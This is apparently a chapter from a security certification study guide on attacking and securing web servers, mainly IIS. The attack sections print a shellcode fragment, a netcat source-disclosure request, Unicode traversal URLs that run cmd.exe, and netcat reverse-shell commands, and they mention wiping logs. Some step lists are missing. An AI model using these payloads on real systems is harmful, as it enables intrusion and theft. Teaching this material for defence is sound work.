Web Server Hacking

Tim Berners-Lee originally invented the World Wide Web in 1989. Since then, the Web has grown to proportions to which no one could have imagined. Dreams of interconnecting everything from your refrigerator, cell phone, PDA, online banking, and e-commerce are now all interconnected and performed through the Web. The future offers even more exciting changes that will continue to expand this concept that isn't even 20 years old. This connectivity does not come without a price; security must remain in the forefront of developers' minds, or they might pay the price, as hackers discover the vulnerabilities.

Hypertext Markup Language (HTML) and Hypertext Transfer Protocol (HTTP) were the standards that originally defined Web architecture. Although other transport protocols and applications have become available, HTTP continues to be the basic medium of communication on the Web for some time to come. HTTP is a relatively simple, stateless, ASCII-based protocol. Unlike other applications, HTTP's TCP session does not stay open while waiting for multiple requests and their responses. HTTP is based on TCP port 80 and has only four stages:

1. Opens a TCP request to the IP address and port number in the URL.
2. Requests a service by sending request headers to define a method, such as GET.
3. Completes the transaction by responding with response headers that contain data.
4. Closes the TCP connection and does not save any information about the transaction.

There's more to the Web than HTTP. The standard web application is the web browser, such as Internet Explorer or Mozilla FireFox. Although the transport protocol might be HTTP, it might also be used with Secure Sockets Layer (SSL) or other protocols to provide encryption. The web server is responsible for answering the web browsers requests. While Internet Information Server (IIS) remains one of the most popular web servers, it has lost ground to the leader, Apache. There might also be various types of web applications that the web server runs, such as Hypertext Preprocessor (PHP), Active Server Page (ASP), or common gateway interface (CGI). Somewhere behind these web applications there might even be a database. This potentially attractive target might hold credit card numbers or other sensitive information. An overview of this infrastructure is shown in Figure 8.1.

Figure 8.1. Web infrastructure.

Web attacks can focus on many different pieces of this infrastructure. Just as with another network service, the attacker must first identify what is present and offer the best mode of attack. Web attacks focus on the following:

• Scanning Tools, such as Nmap and SuperScan, can be used.
• Banner grabbing Identifies the server and version. Netcat and Telnet are useful here.
• Attacking the web server The script kiddies' dream would be to find unpatched servers or discover a recently discussed vulnerability that hasn't been patched yet.
• Surveying the application Because it's more advanced than a direct web server attack, attacking the application could go unnoticed.
• Attacking authentication Weak forms of authentication might allow the attacker to beat authentication or guess commonly used passwords.
• Exploiting the database A tempting target for hackers looking to make a profit in identity or credit card theft.

Tip

Understand the basic components of the web infrastructure. Know how the web server and client interact, as well as common methods and systems used by each As an example, web servers usually run applications such as PHP, ASP, and CGI.

Scanning Web Servers

You cannot attack what you don't know exists. Therefore, after you have a target range of IP addresses, you will want to look for web services. Although standard web servers run on port 80 or 443, other ports should be scanned when you look for web-based applications. These include the following:

• 80 HTTP
• 88 Kerberos
• 8080 Squid
• 8888 Alternate Web Server

The tools used to scan for these services are the same as discussed in Chapter 3, "Footprinting and Scanning". Some of the most popular include

• Amap
• ScanLine
• SuperScan
• Nmap

Banner Grabbing and Enumeration

After possible web servers have been identified, the attacker usually attempts to enumerate additional details about the server and its components. Popular web servers include

• IIS Web Server
• Apache Web Server
• Sun ONE Web Server

Before vulnerabilities specific to these platforms are discussed, let's look at some of the tools used for enumeration.

One great tool that requires no install is available at www.netcraft.com. Netcraft runs a great service called "What's this site running," which gathers details about web servers. Netcraft is shown in Figure 8.2.

Figure 8.2. Netcraft.

You can also use tools, such as Telnet and Netcat, to identify the web server. Just telnet to the site and watch for the results:

C:>telnet www.examcram.com 80 HTTP/1.1 400 Bad Request Server: Microsoft-IIS/5.0 Date: Mon, 28 Nov 2005 06:08:17 GMT Content-Type: text/html Content-Length: 87

Error

The parameter is incorrect.

Connection to host lost.

Netcat is also a useful tool to identify the web server. With just three simple steps, you'll be ready for web server enumeration:

Tip

Know how to banner grab and identify common web servers. You will need to know how tools such as Netcat function.

An open source application called Wikto is an extended version of Nikto. It was developed at Sensepost and can be downloaded at www.sensepost.com/research/wikto. This tool is great because it can thoroughly examine web servers and probe for vulnerabilities. There are three main sections to Wikto, as shown in Figure 8.3. These sections include

• A backend miner
• Nikto-like functionality
• Googler

Figure 8.3. Wikto.

Finally, you will want to take some time to examine the site in detail. You could manually crawl the site, although a site ripping tool would speed up the process. Site rippers are a good way to make a duplicate of the website that has been handily stored on your hard drive. These programs allow you to go through the site a page at a time and examine the HTML code to look for useful information. Some tools to help you with this task are shown here:

• Black Widow A Windows website scanner and site ripper. Use it to scan a site and create a complete profile of the site's structure, files, email addresses, external links, and even link errors. Black Widow is shown in action in Figure 8.4.

  Figure 8.4. Black Widow.

• Teleport Pro This is a Windows website scanner and site mapping tool. Use it to rip websites and review them at your leisure.
• Wget A command-line tool for Windows and UNIX that will download the contents of a website, an open source site ripper, and duplicator.

Web Server Vulnerability Identification

After the attacker has identified the vendor and version of the web server, he will then search for vulnerabilities. As an example, if the product were identified to be Microsoft IIS 6.0, it was released with Windows 2003; or if it were Microsoft IIS 5.0, it was released with Windows 2000. With this information in hand, the attacker would simply troll some of the websites that list vulnerabilities. Some of the sites the attacker and security administrators would most likely visit to identify possible vulnerabilities iinclude

• www.securityfocus.com
• www.packetstormsecurity.org/
• http://nvd.nist.gov
• http://neworder.box.sk

A screenshot of the SecurityFocus website is shown in Figure 8.5. Notice that tabs are available for info about specific vulnerabilities, discussions, exploit code, solutions, and references.

Figure 8.5. SecurityFocus.com.

Attacks Against Web Servers

Look for attackers to take the least path of resistance. If it happens to be the web server, expect it to be targeted. The huge numbers of web server vulnerabilities that have been disclosed make this one of the first places to look for potential vulnerabilities. Poor patch management can allow the attacker to hit the jackpot here. Let's look at some of the IIS vulnerabilities that have made headlines over the years.

IIS Vulnerabilities

In recent years, IIS has gained quite a reputation for itself. Unfortunately, a big part of that reputation is for a lack of security. While IIS 6 is more secure than its predecessors, IIS continues to be a big target of attack. However, it is not possible to cover every vulnerability ever discovered! If that were the objective, it would take an entire book just to cover this one topic. Instead, this Chapter introduces a few of the more publicized vulnerabilities that have made headlines. These attacks can be categorized as one of the following:

• Buffer overflow attack
• Source disclosure attack
• File system traversal attack

Tip

Know the three categories of web server attacks.

Attacks come and go, so, it is more important to understand the category of attack and how vulnerabilities are exploited than the actual attack. The next part of the Chapter looks at a couple of IIS buffer overflow vulnerabilities.

The ISAPI DLL Buffer Overflow attack was originally discovered in June 2001. It affects Windows NT and 2000. The exploit targets idq.dll. When executed, this attack can lead to a buffer overflow that can compromise servers running IIS. What makes this vulnerability particularly malicious is that the service, part of IIS Indexing, does not even need to be actively running. Because idq.dll runs as system, the attacker can easily escalate his privilege and add himself to the administrator's group. You can learn more by checking out this link http://www.ciac.org/ciac/bulletins/l-098.shtml.

The IPP Printer Overflow attack was discovered in 2001 and affects Windows 2000 systems running IIS 5.0. It is a buffer overflow attack, and it also targets the ISAPI filter (mws3ptr.dll) that handles .printer files. If the buffer is sent with at least 420 characters, it will overflow and might potentially return a command prompt to the attacker. Several tools are available to exploit this vulnerability, including IIs5hack and jill-win32. These exploits insert shell code to shovel a shell back to the listener on the attacker's system. A piece of the exploit is shown here:

int main(int argc, char *argv[]){ /* the whole request rolled into one, pretty huh? carez. */ unsigned char sploit[]= "x47x45x54x20x2fx4ex55x4cx4cx2ex70x72x69x6ex74x65x72x20" "x48x54x54x50x2fx31x2ex30x0dx0ax42x65x61x76x75x68x3ax20" "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" "x90x90xebx03x5dxebx05xe8xf8xffxffxffx83xc5x15x90x90x90" "x8bxc5x33xc9x66xb9xd7x02x50x80x30x95x40xe2xfax2dx95x95" "x64xe2x14xadxd8xcfx05x95xe1x96xddx7ex60x7dx95x95x95x95" "xc8x1ex40x14x7fx9ax6bx6ax6ax1ex4dx1exe6xa9x96x66x1exe3" "xedx96x66x1exebxb5x96x6ex1exdbx81xa6x78xc3xc2xc4x1exaa"

To examine the complete code, you can download it from ExploitTree at www.securityforest.com/cgi-bin/viewcvs.cgi/ExploitTree/application/webserver/iis/jill-win32.c. Here is how the exploit works in three simple steps:

Although hackers consider buffer overflow attacks fun, they are not the only weak point in IIS. Source disclosure attacks are the second category discussed in this Chapter. This type of attack can uncover passwords, web design, or business logic. One example of this is the +.htr exploit. Because of vulnerabilities in the ISM.dll, IIS4 and IIS5 can be made to disclose source data, rather than executing it. An attacker accomplishes this by appending +.htr to the global.asa file; Netcat can help exploit this vulnerability. First, create the following text file and name it htr.txt:

GET /victims_address/global.asa+.htr HTTP/1.0 CR CR

Next, execute the following command:

nc -vv www.victim.com 80

If the site is vulnerable, the attacker will receive information similar to what follows:

HTTP/1.1 200 OK Server: Microsoft -IIS /5.0 Date: Wed, 11 Feb 2004 00:32:12 GMT ("Profiles_ConnectionString")= "DSN=Profiles; UID=User; password=secret" ("LDAPUserID") = "cn=Admin" ("LDAPPwd") = "p@ssw0rd"

If you would like to learn more about this vulnerability, check out http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS01-004.asp.

Even IIS 6.0 is not immune to source disclosure attacks. The Server Name Spoof Exploit in IIS 5.0 and 6.0 make it possible to revealing sensitive ASP code through the IIS 500-100.asp error page. The spoof opens a potential range of exploits in third-party web applications and web services.

The third category of attacks is the file system traversal attacks. Some of the attacks in this category are well-known and have produced a lot of headaches for Microsoft. One that received much press was the Unicode input validation attack. Unicode was developed as a replacement to ASCII. Unlike ASCII, Unicode uses a 16-bit dataspace; therefore, it can support a wide variety of alphabets, including Cyrillic, Chinese, Japanese, Arabic, and others. The source of the vulnerability is not the Unicode itself, but how it is processed. This vulnerability allows an attacker to back out of the current directory and go wherever he would like within the logical drive's structure. Two iterations of this attack are

• Unicode Can be exploited with character strings, such as %c1%1c, %c0%af, %c1%pc, and so on.
• Double Decode Can be exploited with character strings, such as %255c, %%35c, and so on.

These attacks are possible because of the way in which the Unicode is parsed. These overly long strings bypass the filters that are designed to only check short Unicode. By using the Unicode syntax of ../../../, an attacker can traverse out of the current directory and run programs such as cmd.exe. Once an attacker can execute commands on the local system, he is only a few steps away from owning the box. Listed here is what the command syntax would look like for such an attack:

http://web_server//scripts/..%c0%af..%c0%af..%c0%af..%c0%af.. /winnt/system32/cmd.exe?/c+dir+c:

The Nimda worm used this same vulnerability back in 2001 to ravage web servers. Shown here is a SNORT capture of what that traffic looked like. You should be able to see the similarities with the attack shown previously. Can you recognize the Unicode component?

[View full width]

0.0.0.0 - - [21/Oct/2001:01:14:03 +0000] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir 0.0.0.0 - - [21/Oct/2001:01:14:03 +0000] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir 0.0.0.0 - - [21/Oct/2001:01:14:03 +0000] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir 0.0.0.0 - - [21/Oct/2001:01:14:04 +0000] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir 0.0.0.0 - - [21/Oct/2001:01:14:04 +0000] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir 0.0.0.0 - - [21/Oct/2001:01:14:04 +0000] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir 0.0.0.0 - - [21/Oct/2001:01:14:04 +0000] "GET /scripts/..%25%35%63../winnt/system32/cmd .exe?/c+dir 0.0.0.0 - - [21/Oct/2001:01:14:04 +0000] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir

Tip

Be able to identify a Unicode attack.

The final four steps necessary to complete this attack after the attacker reaches this point include

For the fourth and final step as shown previously, the attacker needs only to use Netcat to return a command shell to his computer with system privileges:

• Execute nc.exe -l -p from the attacker's computer.
• Execute nc.exe -v -e cmd.exe AttackerIP from the victim's IIS server that has cmdasp.asp loaded.
• Check out www.securiteam.com/tools/5AP020U35C.html for more information and to get a copy of Maceo's cmdasp.asp.

Finally, just remember that with any of these attacks, the perpetrator's activity will be stored in the log files. So, expect him to remove or alter the log files located at C:Winntsystem32LogfilesW3SVC1. If logging has been enabled, you will most likely have a record of the attacker's IP address.

Securing IIS

Securing IIS requires applying some defense in depth techniques. Five good defenses to get you started include the following:

1. Harden before you deploy
2. Patch management
3. Disable unneeded services
4. Lock down the file system
5. Logging and auditing

First, before you deploy IIS into your network, you must ensure that the network is safe and protected. It is recommended practice to have the server fully hardened before you plug it into the network.

Second, apply all patches. Security patches and updates are critical to ensuring that the operating system and IIS are running with the latest files and fixes. An un-patched server can suffer a multitude of attacks that target well-known exploits and vulnerabilities. You've seen a variety of these in the previous section. It is vital for you to keep your system patches up-to-date. No matter what tool you use, it is most important to implement automated patch management. Examples of such tools to accomplish this include

• Windows Server Update Services Enables the deployment of the latest Microsoft product updates to Windows 2000, XP, and 2003 operating systems.
• Microsoft HotFix Checker A similar tool from Microsoft that allows you to scan machines for the absence of security updates. It can be found at http://support.microsoft.com/default.aspx?scid=kb;EN-US;303215.
• UpdateExpert This tool helps you remotely manage hot fixes and patches. It can be found at http://www.stbernard.com/products/updateexpert.

Third, disable unneeded services. Windows has a variety of services that can run in the background to provide continuous functionality or features to the operating system. As an example, in the previous section, the IPP printer overflow is discussed. With that service installed, the exploit would not be possible. Therefore, by disabling unwanted services, you can reduce the attack surface of the IIS server. The following tools help disable unwanted services:

• Microsoft Baseline Security Analyzer A tool that will scan Microsoft systems for common security misconfigurations. It can be found at http://www.microsoft.com/technet/security/tools/mbsahome.mspx.
• IIS Lockdown Another great tool from Microsoft that scans IIS and turns off unnecessary features. It can be found at http://www.microsoft.com/technet/security/tools/locktool.mspx.

Fourth, lock down the file system. Use the NT File System (NTFS) and enable file-level security. This will allow full access control at the folder and/or file levels. File-level security is the last level of access control before a request is fulfilled by the operating system. One useful tool that can help in this task is Calcs. This Microsoft command-line utility will allow you to set file permissions. It can be found at http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnnetsec/html/SecNetAP02.asp.

Fifth, perform logging to keep track of activity on your IIS server. Auditing allows you to understand and detect any unusual activity. Although auditing is not a preventative measure, it will provide valuable information about the access activity on your IIS server. Logging can provide you with details such as when, where, and how the access occurred and whether the request was successfully processed or rejected by the server.

No system can ever be 100 percent secure; however, these simple steps will address many common problems and attacks. It is also advisable to periodically run vulnerability scanners to look for weaknesses. These are discussed in detail in Chapter 5, "Linux and Automated Security Assessment Tools," but are mentioned here briefly:

• Nessus
• WebInspect
• Whisker
• N-Stealth Scanner
• Shadow Security Scanner

Tip

Know the ways to secure an IIS server.